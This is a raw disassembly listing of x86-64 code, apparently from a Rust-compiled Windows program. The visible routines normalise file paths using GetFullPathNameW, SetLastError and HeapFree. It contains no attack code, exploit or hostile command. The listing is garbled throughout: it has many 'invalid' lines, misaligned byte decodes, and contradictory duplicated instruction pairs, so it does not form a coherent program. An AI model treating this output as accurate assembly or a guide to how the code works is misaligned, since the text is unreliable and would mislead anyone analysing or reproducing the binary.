mov rbx, qword [rsi + 0x10]
add byte [rax - 0x77], cl
invalid
add byte [rax - 0x75], cl
invalid
jmp 0x1400dad15
int3
int3
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x498
cwde
add al, 0
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], edx
add al, 0
add dh, bh
invalid
invalid
dec dword [rbx + rcx*4 + 0x4a]
or byte [rax - 0x75], cl
adc byte [rax - 0x7d], cl
clc
add esi, dword [rsi + 0x41]
add al, 0
add dh, bh
invalid
invalid
movabs r8, 0x5c003f005c005c
cmp qword [r9], r8
je 0x1400daf6d
movabs r8, 0x5c003f003f005c
cmp qword [r9], r8
je 0x1400daf6d
invalid
add dword [rax], 0
invalid
pop rsp
add byte [rbp + 0x39], cl
add dword [rdi], ecx
test byte [rbx + 0x48000000], al
cmp eax, 0xf8
add byte [rax + 0x3d], cl
clc
add byte [rax], al
add byte [rdi], cl
or dword [rdx + 0x66000000], 0x41
cmp dword [rcx + 2], 0x3a
jns 0x1400daefd
invalid
cmp rax, 0xf8
jae 0x1400daf80
cmp word [r9 + 2], 0x3a
jns 0x1400daefd
cmp dh, byte [rbp + 0x4e]
jne case.0x1400b36b6.882
movzx eax, word [r9 + 4]
movzx eax, word [r9 + 4]
add al, 0xeb
invalid
jmp 0x1400daf2c
je case.0x1400d5dee.502
cmp rax, 1
jne 0x1400daf4a
cmp word [r9], 0
cmp dword [rcx], 0
jne 0x1400daf80
insb byte [rdi], dx
jmp 0x1400daf6d
cmp word [r9 + 2], 0x3a
jne case.0x1400b36b6.882
movzx eax, word [r9 + 4]
movzx eax, word [rcx + 4]
test ax, ax
je 0x1400db3a3
add byte [rax], al
add byte [rax], al
cmp ax, 0x2f
je 0x1400daf3a
invalid
movzx eax, ax
cmp eax, 0x5c
jne case.0x1400b36b6.882
movzx eax, word [r9]
cmp eax, 0x2f
je 0x1400daf50
cmp eax, 0x5c
je 0x1400daf50
jbe 0x1400daf80
movzx eax, word [r9]
movzx eax, word [rcx]
cmp ax, 0x5c
je 0x1400daf5e
movzx eax, ax
cmp eax, 0x2f
jne 0x1400daf80
movzx eax, word [r9 + 2]
cmp eax, 0x5c
je 0x1400daf6d
cmp eax, 0x2f
jne 0x1400daf80
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
adc byte [rdi], cl
adc byte [rdx], al
adc byte [rdi], cl
adc byte [rdx], al
movups xmmword [rcx], xmm0
jmp 0x1400db38f
mov qword [rbp + 0x3e8], r9
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x408], rdx
add byte [rax], al
mov qword [rbp + 0x3f0], 0
test eax, esi
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test eax, edi
add eax, dword [rax]
add byte [rdx], al
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x400], 0
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
add al, byte [rax]
invalid
test eax, esi
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test eax, edi
add eax, dword [rax]
add byte [rdx], al
add al, byte [rax]
add byte [rax], al
invalid
invalid
test dword [rax], eax
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 2], bh
mov eax, 2
mov qword [rbp + 0x3d8], rax
xor edi, edi
xor r14d, r14d
xor r15d, r15d
cmp r8, 0x201
add dword [rdx], eax
add byte [rax], al
add dword [rdx], eax
add byte [rax], al
jae 0x1400db000
jmp 0x1400dafef
jae case.0x1400b4e39.869
cmp r8, 0x201
cmp eax, 0x201
clc
add dword [rdx], eax
add byte [rax], al
jae 0x1400db000
adc dword [rcx - 0x44], eax
add byte [rdx], al
add byte [rax], al
mov r12d, 0x200
lea rbx, [rbp - 0x58]
mov r13, r8
jmp 0x1400db058
sub r8, r15
clc
sub r14, r15
cmp r14, r8
jae 0x1400db02f
lea rcx, [rbp + 0x3f0]
mov rdx, r15
mov edx, edi
invalid
add byte [rcx + rcx*4 - 6], cl
call fcn.140110490
mov rdi, qword [rbp + 0x3f0]
add byte [rax], al
mov rax, qword [rbp + 0x3f8]
add eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rbp + 0x3d8], rax
mov eax, 0xffffffff
mov qword [rbp + 0x3d8], rax
fadd dword [rbx]
add byte [rax], al
invalid
mov eax, 0xffffffff
invalid
cmp rdi, rax
mov r15d, 0xffffffff
invalid
dec dword [rdi + rcx + 0x42]
dec dword [rcx + rcx*4 - 0x43]
mov dword [rbp + 0x400], edi
invalid
dec dword [rdi + rcx + 0x42]
dec dword [rcx + rcx*4 - 0x43]
invalid
invalid
add byte [rax + rax], al
mov dword [rbp + 0x400], edi
add byte [rcx - 0x77], cl
dec byte [rbp - 0x77]
cld
mov r14, rdi
mov r12, r15
mov rbx, qword [rbp + 0x3d8]
mov r13, r15
mov ebp, edi
mov ebp, edi
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
push 0x48000382
mov ecx, dword [rbp + 0x3e8]
invalid
add eax, dword [rax]
add byte [rax], al
push 0x48000382
mov ecx, dword [rbp + 0x3e8]
invalid
add eax, dword [rax]
add byte [rax], al
call 0x1840db06b
mov edx, ebp
add byte [rax], al
mov edx, r13d
mov r8, rbx
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFullPathNameW]
mov esi, eax
invalid
test eax, eax
jne 0x1400db08a
mov byte [rbp - 0xf18a40], 0x15
cmpsb byte [rsi], byte [rdi]
add dword [rbx], 0
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne case.0x1400b958a.839
add byte [rax], al
invalid
mov r8d, esi
mov eax, esi
cmp r13, r8
cmp ebp, eax
jne 0x1400dafe0
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400db3ce
add r13, r13
add ebp, ebp
mov eax, 0xffffffff
cmp r13, rax
invalid
cmovae r13, rax
mov r8, r13
mov eax, ebp
invalid
mov eax, ebp
cmp r8, 0x201
add dword [rdx], eax
add byte [rax], al
add al, byte [rax]
add byte [rdi], cl
invalid
jb 0x1400dafef
jmp 0x1400db000
invalid
cmp r12, r8
cmp esp, eax
jb 0x1400db3e8
add byte [rbx + rcx*4 - 0x5b], cl
or byte [rax + rax], al
add byte [rcx - 0x39], cl
invalid
invalid
and al, 0x10
adc byte [rax], al
invalid
mov r12, qword [rbp + 0x408]
mov qword [r12 + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rax], al
cmp esi, 2
jbe 0x1400db19a
movzx eax, word [rbx + 2]
cmp eax, 0x3a
invalid
invalid
add byte [rax], al
cmp esi, 2
jbe 0x1400db19a
movzx eax, word [rbx + 2]
cmp eax, 0x3a
jne 0x1400db1a1
invalid
add byte [rax], al
invalid
test eax, 0x66000000
cmp dword [rbx + 4], 0x5c
cmp word [rbx + 4], 0x5c
jne 0x1400db1a1
lea r15, [0x14014b960]
mov r14d, 4
lea rsi, [r8 + r14]
inc rsi
mov rcx, qword [r12]
cmp rcx, rsi
jae 0x1400db1e2
invalid
add cl, ch
in al, 0
add byte [rax], al
jmp 0x1400db20d
call qword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
cmp qword [rbp + 0x3f0], 0
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
je 0x1400db159
mov r8, qword [rbp + 0x3f8]
mov rcx, qword [0x140182260]
test eax, edi
add eax, dword [rax]
add byte [rax - 0x75], cl
or eax, 0xa710f
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x3e0]
mov qword [rcx + 8], rsi
movabs rax, 0x8000000000000000
mov qword [rcx], rax
mov rax, qword [rbp + 0x408]
cmp qword [rax], 0
add byte [rdi], cl
invalid
invalid
add al, byte [rax]
invalid
mov r8, qword [rax + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400db38f
cmc
add dword [rax], eax
invalid
jne 0x1400db1f4
movzx ecx, word [rbx]
jmp 0x1400db1ad
movzx ecx, word [rbx]
cmp esi, 3
inc byte [rbx]
or eax, dword [rbx - 0x7af0fc02]
mov eax, dword [rax]
add byte [rax], al
add byte [rax], al
inc byte [rbx]
jne 0x1400db238
cmp cx, 0x5c
jne 0x1400db1f4
movzx eax, word [rbx + 2]
cmp ax, 0x5c
jne 0x1400db1f4
add r8, 0xfffffffffffffffe
add eax, 0xfffffffe
add rbx, 4
lea r15, [0x14014b968]
invalid
invalid
add byte [rcx - 0x42], al
mov esi, 8
add byte [rax], al
lea rsi, [r8 + r14]
lea esi, [rax + rsi]
inc rsi
mov rcx, qword [r12]
cmp rcx, rsi
jb 0x1400db20d
mov rdi, r8
mov rsi, rcx
mov rcx, qword [rbp + 0x3e8]
jmp 0x1400db2c2
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x41], al
invalid
add al, byte [rax]
mov r15d, 2
mov edi, 2
add byte [rax], al
xor r14d, r14d
lea rsi, [r8 + r14]
lea esi, [rax + rsi]
lea esi, [rax + rsi]
inc rsi
mov rcx, qword [r12]
cmp rcx, rsi
jae 0x1400db1e2
invalid
invalid
lea rax, [rsi + rsi]
mov rdi, r8
mov edi, eax
mov edi, eax
test rcx, rcx
je case.0x1400b958a.825
add rcx, rcx
mov rdx, qword [rbp + 0x3e8]
mov qword [rbp + 0x3a8], rdx
mov qword [rbp + 0x3b8], rcx
mov dword [rbp + 0x3b8], ecx
mov dword [rbp + 0x3b8], ecx
mov eax, 0xb9000003
mov ecx, 2
add al, byte [rax]
add byte [rax], al
jmp case.0x1400792d3.1186
mov r15d, 2
cmp cx, 0x5c
jne 0x1400db1fa
cmp eax, 0x3f
invalid
je 0x1400db1fa
cmp eax, 0x5c
jne case.0x1400b4e39.844
invalid
dec dword [rdi]
mov bh, 0x43
add al, 0x83
clc
invalid
movzx eax, word [rbx + 4]
cmp eax, 0x3f
je 0x1400db3be
test byte [rdi + 1], bl
add byte [rax], al
cmp eax, 0x2e
jne 0x1400db1bd
invalid
invalid
invalid
clc
jne 0x1400db1bd
invalid
invalid
invalid
invalid
invalid
cmp word [rbx + 6], 0x5c
cmp dword [rbx + 6], 0x5c
pop rsp
jne 0x1400db1bd
test dword [rdx - 1], ecx
invalid
invalid
add r8, 0xfffffffffffffffc
add eax, 0xfffffffc
add rbx, 8
add ebx, 8
jmp 0x1400db103
xor ecx, ecx
mov qword [rbp + 0x3b0], rcx
lea rcx, [rbp + 0x3c0]
invalid
rol byte [rbx], 0
invalid
lea esi, [rax + 0x48000003]
lea ecx, [rbp + 0x3c0]
invalid
rol byte [rbx], 0
invalid
invalid
lea r9, [rbp + 0x3a8]
mov edx, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov r8, rax
call fcn.1400d4a40
cmp qword [rbp + 0x3c0], 0
mov ebp, 0x3c0
add byte [rdi], cl
jne 0x1400db3ff
pushfq
xchg edi, eax
invalid
mov rcx, qword [rbp + 0x3c8]
invalid
mov qword [r12 + 8], rcx
and al, 8
mov qword [r12], rsi
lea r8d, [r14 + r14]
mov r13, rcx
mov rdx, r15
call fcn.140106530
add al, byte [rax]
add al, byte [rax]
mov qword [r12 + 0x10], r14
mov dword [rsp + 0x10], esi
mov rax, rsi
sub rax, r14
cmp rax, rdi
jae 0x1400db30a
mov rcx, r12
mov rdx, r14
mov r15, rdi
mov r15, rdi
mov r8, rdi
call fcn.140110490
mov r12, qword [rbp + 0x408]
mov r14, qword [r12 + 0x10]
mov rsi, qword [r12]
and al, 0x4d
mov ebp, dword [rsp + 8]
insb byte [rdi], dx
and al, 8
insb byte [rdi], dx
and al, 8
mov rdi, r15
lea r8, [rdi + rdi]
lea rcx, [r14*2]
add rcx, r13
jmp 0x128e83c65
lss eax, [rdx]
add byte [rcx + 1], cl
dec byte [rbp - 0x77]
je 0x1400db34c
adc byte [rcx + 0x39], cl
div byte [rbp + 0x19]
mov rcx, r12
call fcn.1400d8f90
mov r12, qword [rbp + 0x408]
mov r13, qword [r12 + 8]
mov r14, qword [r12 + 0x10]
mov word [r13 + r14*2], 0
inc r14
mov qword [r12 + 0x10], r14
cmp qword [rbp + 0x3f0], 0
cmp dword [rbp + 0x3f0], 0
cmp dword [rbp + 0x3f0], 0
add byte [rax], al
mov rsi, qword [rbp + 0x3e0]
je 0x1400db37e
mov r8, qword [rbp + 0x3f8]
mov rcx, qword [0x140182260]
outsb dx, byte [rsi]
or al, byte [rax]
add eax, dword [rax]
add byte [rax - 0x75], cl
or eax, 0xa6eea
outsb dx, byte [rsi]
or al, byte [rax]
outsb dx, byte [rsi]
or al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x37fe2
mov rax, qword [r12 + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [r12]
movups xmmword [rsi], xmm0
add rsp, 0x498
add al, 0
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
movzx eax, word [r9]
cmp eax, 0x2f
je case.0x1400b36b6.882
invalid
clc
invalid
inc dword [rbx - 0x7bf0a308]
xchg ebx, eax
sti
invalid
cmp eax, 0x5c
clc
pop rsp
je case.0x1400b36b6.882
jmp 0x1400daf6d
cmp word [rbx + 6], 0x5c
jne 0x1400db1bd
test esp, esi
std
invalid
jmp 0x1400db1fa
invalid
invalid
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
add byte [rax], al
add byte [rax], al
add al, ch
call fcn.140108630
jmp 0x1400db412
invalid
rol byte [rdx], cl
add bl, ch
sub cl, byte [rax - 0x73]
add eax, 0x70481
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r12
mov r8, rax
call fcn.140108620
add al, byte [rax]
add al, byte [rax]
jmp 0x1400db412
adc ecx, dword [rax - 0x75]
invalid
mov rcx, qword [rbp + 0x3c8]
mov rdx, qword [rbp + 0x3d0]
add byte [rax], al
add byte [rax], al
call fcn.1401082a0
ud2
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], al
cmp qword [rbp + 0x3f0], 0
je case.0x1400b36b6.885
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x3f8]
test eax, edi
add eax, dword [rax]
add byte [rax], al
mov r8, qword [rbp + 0x3f8]
test eax, edi
add eax, dword [rax]
add byte [rax], al
mov rcx, qword [0x140182260]
add byte [rax], al
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x408]
cmp qword [rax], 0
cmp dword [rax], 0
or byte [rax + rax], al
add byte [rax - 0x7d], cl
cmp qword [rax], 0
cmp dword [rax], 0
cmp dword [rax], 0
je case.0x1400d7e58.108
sbb cl, byte [rax - 0x75]
test dword [rax], ecx
add al, 0
add byte [rbx + rcx*4 + 0x40], cl
mov r8, qword [rax + 8]
invalid
invalid
mov rax, qword [rbp + 0x408]
mov eax, dword [rbp + 0x408]
mov r8, qword [rax + 8]
mov rcx, qword [0x140182260]
in eax, 0x6d
insd dword [rdi], dx
or al, byte [rax]
or byte [rax - 0x75], cl
or eax, 0xa6de5
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x37edd
jle case.0x1400da151.44
invalid
sar bh, cl
adc eax, 0x37edd
jle case.0x1400da151.44
invalid
jle case.0x1400da151.44
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop rsi
pop r15
pop rbp
ret
int3
int3
int3
int3
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1b8
in al, dx
invalid
add dword [rax], eax
invalid
in al, dx
mov eax, 0x48000001
add dword [rax], eax
invalid
invalid
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test dword [rax], esi
invalid
mov qword [rbp + 0x130], 0xfffffffffffffffe
mov dword [rbp + 0x130], 0xfffffffe
xor byte [rcx], al
add byte [rax], al
invalid
add dword [rax], eax
add dh, bh
invalid
invalid
mov r13, r8
mov ebp, eax
mov rsi, rdx
mov esi, edx
mov rbx, rcx
mov r15, qword [rcx + 8]
mov r14, qword [rcx + 0x10]
adc byte [rbp - 0x7b], cl
test r14, r14
test esi, esi
jns case.0x1400d745f.132
test esi, esi
je case.0x1400d8e64.62
pop rdi
mov rdi, rsi
test dword [rcx + rcx*4 - 0x12], 0x43dd8949
mov rsi, r13
mov r13, rbx
mov ebp, ebx
fld qword [rbx + 0xf]
mov dh, 0x44
invalid
movzx eax, byte [r14 + r15 - 1]
movzx eax, byte [rsi + rdi - 1]
cmp al, 0x2f
setne r12b
setne ah
invalid
cmp al, 0x5c
setne bl
xchg ebp, eax
ret
xchg ebp, eax
ret
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
invalid
add byte [rax], al
mov rdx, r15
mov edx, edi
cli
mov r8, r14
call fcn.1400d7ec0
leave
invalid
inc dword [rdi + rcx - 0x4a]
test eax, eax
add byte [rax], al
invalid
invalid
invalid
inc dword [rdi + rcx - 0x4a]
test eax, eax
add byte [rax], al
add byte [rcx + 0xf], al
invalid
invalid
movzx eax, byte [rbp + 0xc0]
movzx eax, r8b
mov dh, 0xc0
ror byte [rbx + rcx*4 - 0x6b], 0xd0
add byte [rax], al
mov r10, qword [rbp + 0xd0]
xchg ebp, eax
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x73], cl
mov r9, qword [rbp + 0xe0]
lea rcx, [0x1401796e4]
lea ecx, [0x1401796e4]
loopne 0x1400db520
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401796e4]
lea ecx, [0x1401796e4]
lea ecx, [0x1401796e4]
mov ebx, 0x480009e1
movsxd rdx, dword [rcx + rax*4]
add rdx, rcx
add edx, ecx
invalid
or dword [rax + 1], 0xf9894cca
add edx, ecx
retf 0x894c
mov rcx, r15
mov ecx, edi
jmp rdx
lea rcx, [r10 + 4]
jmp case.0x1400a4d30.953
add al, 0xeb
mov dil, 6
mov dil, 6
mov dil, 6
mov dword [rbp + 0x108], 0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x31], al
in al, 0xe9
jmp 0x1400db673
xor r12d, r12d
jmp 0x1400db673
add byte [rcx - 0x73], cl
add qword [r13 - 0x7b], rcx
invalid
invalid
lea rcx, [r9 + 1]
test r9, r9
leave
cmove rcx, r9
add rcx, r10
add ecx, edx
add ecx, edx
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
invalid
add rcx, 8
jmp case.0x1400a4d30.953
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
jmp case.0x1400a4d30.953
lea rcx, [r9 + 1]
test r9, r9
test ecx, ecx
test ecx, ecx
cmove rcx, r9
add rcx, r10
add rcx, 2
jmp case.0x1400a4d30.953
invalid
add eax, 0x2b9
mov ecx, 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
cmp rcx, r14
ja case.default.0x1400dbf15
fimul dword [rcx]
add byte [rax], al
invalid
add byte [rbp + 0xc], dh
mov dword [rbp + 0x108], 0
add byte [rax], al
add byte [rax], al
invalid
jne case.0x1400792d3.1167
or al, 0xc7
test dword [rax], ecx
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bl, ch
sbb cl, byte [rcx + rax - 7]
add rcx, r15
add byte [rax], al
add byte [rax], al
jmp 0x1400db5b5
add rcx, r15
add ecx, edi
movzx ecx, byte [rcx]
cmp cl, 0x2f
stc
invalid
sete dl
xchg esp, eax
ret 0xf980
stc
pop rsp
invalid
stc
pop rsp
sete cl
or cl, dl
mov dword [rbp + 0x108], ecx
or byte [rcx], al
add byte [rax], al
and r12b, bl
and ah, bl
mov rcx, qword [rbp + 0xc1]
mov rdx, qword [rbp + 0xc8]
xchg ebp, eax
enter 0, 0
invalid
mov qword [rbp + 0x3f], rdx
mov qword [rbp + 0x38], rcx
mov dword [rbp + 0x38], ecx
mov r11, qword [rbp + 0xd8]
fadd dword [rax]
add byte [rax], al
mov eax, eax
lea rcx, [0x140179700]
loope case.0x1400d8e64.75
add byte [rax + 0x63], cl
adc al, 0x81
invalid
add byte [rax + 0x63], cl
adc al, 0x81
invalid
or dword [rax + 1], 0xeb894cca
add rdx, rcx
add edx, ecx
mov rbx, r13
jmp 0x1400db632
mov r13, rsi
mov ebp, esi
mov rsi, rdi
dec byte [rcx + rcx*4 - 0x73]
mov eax, 0x4c000000
mov dword [rbp + 0x20], edx
push rbp
invalid
mov qword [rbp + 0xb8], r9
mov qword [rbp + 0x20], r10
push rbp
invalid
push rbp
and byte [rcx + rcx*4 + 0x5d], cl
mov qword [rbp + 0x28], r11
jmp rdx
invalid
mov qword [rbp + 0x28], r11
jmp rdx
lea rcx, [r10 + 4]
lea ecx, [rdx + 4]
add al, 0x48
test ecx, ecx
test rcx, rcx
jne 0x1400db63a
xor ch, bl
lea rcx, [r9 + 1]
lea rcx, [r9 + 1]
jmp case.0x1400db5fd.6
lea rcx, [r9 + 1]
test r9, r9
cmove rcx, r9
cmove ecx, ecx
cmove ecx, ecx
leave
leave
add rcx, r10
add rcx, 8
add ecx, 8
add ecx, 8
test rcx, rcx
jne 0x1400db63a
invalid
sbb ebx, ebp
xor byte [rcx - 0x73], cl
lea rcx, [r9 + 1]
test r9, r9
jmp case.0x1400db5fd.6
lea rcx, [r9 + 1]
test r9, r9
cmove rcx, r9
add rcx, r10
add ecx, edx
add rcx, 2
add ecx, 2
test rcx, rcx
leave
je case.0x1400db5fd.6
lea rcx, [0x14017971c]
lea ecx, [0x14017971c]
or eax, 0x9e0db
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
loopne 0x1400db694
lea rax, [r10 + 4]
lea eax, [rdx + 4]
cmp rax, r14
je 0x1400db662
mov edi, r8d
jmp 0x1400db673
mov eax, 6
cmp rax, r14
jne case.0x1400db5fd.6
xor eax, eax
mov edi, r8d
mov edi, eax
invalid
cmp r8b, 5
movzx r12d, r12b
in al, 0x44
cmove esp, eax
invalid
invalid
loopne 0x1400db6bc
mov rcx, rsi
mov ecx, esi
mov rdx, r13
call fcn.1400d7d80
test al, al
jne case.0x140095d16.1025
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rbp + 0xc0]
invalid
mov rdx, rsi
mov edx, esi
mov r8, r13
call fcn.1400d7ec0
invalid
dec dword [rdi]
mov dh, 0x95
rol byte [rax], 0
add byte [rax], al
invalid
call 0x13fd5df7f
sub al, cl
invalid
dec dword [rdi]
mov dh, 0x95
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xe0]
mov eax, dword [rbp + 0xe0]
mov eax, dword [rbp + 0xe0]
loopne 0x1400db6ab
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
jl 0x1400db692
invalid
lea r8, [0x140179730]
loopne 0x1400db6bc
or dword [rax], eax
add byte [rcx + 0x63], cl
adc al, 0x90
nop
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
ret 0xe2ff
jmp rdx
loop case.0x140096fc6.1036
add rcx, 4
add ecx, 4
rol dword [rbx + rbp*8], 0x40
add al, 0xeb
mov eax, 2
mov eax, 2
jmp case.0x1400d8b62.84
mov eax, 2
cmp rax, r14
je 0x1400db662
jmp case.0x1400db5fd.6
test byte [rax - 0x73], cl
lea rdx, [rax + 1]
push rax
add dword [rax - 0x7b], ecx
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp case.0x1400d8b62.84
and byte [rcx + 6], bh
mov ecx, 6
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp case.0x1400d8b62.84
invalid
mov ecx, 6
add byte [rax], al
jmp case.0x1400d8b62.84
sbb dword [rax - 0x73], ecx
push rax
add dword [rax - 0x7b], ecx
test rax, rax
cmove rdx, rax
add rcx, rdx
ror dword [rax - 0x7d], 1
invalid
invalid
lea rdx, [rax + 1]
lea edx, [rax + 1]
test rax, rax
test eax, eax
cmove rdx, rax
add rcx, rdx
invalid
add rcx, 8
add ecx, 8
ror dword [rax], 0xeb
add eax, 0x2b9
invalid
add al, byte [rax]
invalid
jmp case.0x1400d8b62.84
mov ecx, 2
add al, byte [rax]
add byte [rax], al
add byte [rcx + rdi - 0x17], cl
cmp rcx, r13
ja 0x1400dbf76
xchg dword [rdx + 8], ebp
or byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
adc byte [r8], al
invalid
add byte [rax], al
mov qword [rbx + 0x10], 0
mov dword [rbx + 0x10], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rbx
mov rcx, rbx
mov ecx, ebx
mov rdx, rsi
mov r8, r13
mov eax, ebp
mov eax, ebp
call fcn.1400dac20
invalid
nop
add rsp, 0x1b8
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
test r13, r13
je 0x1400db811
test cl, dl
add byte [rax], al
add byte [rax], al
test cl, dl
add byte [rax], al
add byte [rax], al
cmp dil, 3
add byte [rax], al
cmp dil, 3
jae 0x1400db811
add edi, 0
add byte [rax], al
mov qword [rbp - 0x20], r15
jge 0x1400db72e
mov qword [rbp - 0x18], r14
mov byte [rbp - 0x10], dil
mov byte [rbp - 0x10], bh
mov byte [rbp - 0x10], bh
invalid
mov rax, qword [rbp + 0x38]
mov rcx, qword [rbp + 0x3f]
mov qword [rbp - 0xf], rax
int1
int1
int1
mov qword [rbp - 8], rcx
mov rax, qword [rbp + 0x20]
mov eax, dword [rbp + 0x20]
and byte [r8 - 0x77], r9b
invalid
invalid
and byte [r8 - 0x77], r9b
add byte [r8 - 0x75], r9b
mov rax, qword [rbp + 0x28]
invalid
invalid
mov rax, qword [rbp + 0x28]
mov eax, dword [rbp + 0x28]
sub byte [rax - 0x77], cl
mov qword [rbp + 8], rax
or byte [r8 - 0x75], r9b
or byte [rax - 0x75], cl
mov rax, qword [rbp + 0xb8]
test dword [rax + 0x48000000], edi
mov dword [rbp + 0x10], eax
mov qword [rbp + 0x10], rax
mov word [rbp + 0x18], 0x200
mov eax, dword [rbp + 0x108]
or byte [rcx], al
add byte [rax], al
sbb byte [rax], al
add cl, byte [rbx + 0x10885]
or byte [rcx], al
add byte [rax], al
mov byte [rbp + 0x1a], al
lea rcx, [rbp - 0x58]
lea ecx, [rbp - 0x58]
lea rdx, [rbp - 0x20]
or byte [rcx], al
add byte [rax], al
mov byte [rbp + 0x1a], al
lea rcx, [rbp - 0x58]
lea ecx, [rbp - 0x58]
lea rdx, [rbp - 0x20]
call fcn.1400d8360
cmp byte [rbp - 0x58], 0xa
test al, 0xa
or cl, byte [rax - 0x77]
pop rbp
xor byte [rdi], cl
invalid
mov cl, 0
add byte [rax], al
ret
or cl, byte [rax - 0x77]
pop rbp
xor byte [rdi], cl
test dword [rcx + 0x48000000], esi
mov cl, 0
add byte [rax], al
mov qword [rbp + 0x110], 0
mov cl, 0
add byte [rax], al
mov qword [rbp + 0x110], 0
adc byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test dword [rax], ebx
sbb byte [rcx], al
invalid
mov qword [rbp + 0x118], 8
mov dword [rbp + 0x118], 8
sbb byte [rcx], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
invalid
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov qword [rbp + 0x120], 0
mov dword [rbp + 0x120], 0
test dword [rax], esp
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add cl, ch
jmp case.0x1400b958a.870
add byte [rax], al
jmp case.0x1400b958a.870
lea rax, [r9 + 1]
add dword [r13 - 0x7b], ecx
leave
test r9, r9
cmove rax, r9
add rax, r10
add eax, edx
ror dword [rcx + rax - 0x30], 0x48
add eax, 2
invalid
invalid
add eax, edx
ror byte [rax - 0x7d], 1
add rax, 2
rol byte [rdx], 0x4c
cmp eax, esi
invalid
cmp rax, r14
invalid
je 0x1400db662
jbe case.0x1400a4d30.965
invalid
invalid
jmp case.0x1400db5fd.6
invalid
invalid
lea rax, [r9 + 1]
test r9, r9
test ecx, ecx
add dword [rbp - 0x7b], ecx
leave
test ecx, ecx
cmove rax, r9
cmove eax, ecx
ror dword [rcx + rax - 0x30], 0x48
ror dword [rcx + rax - 0x30], 0x48
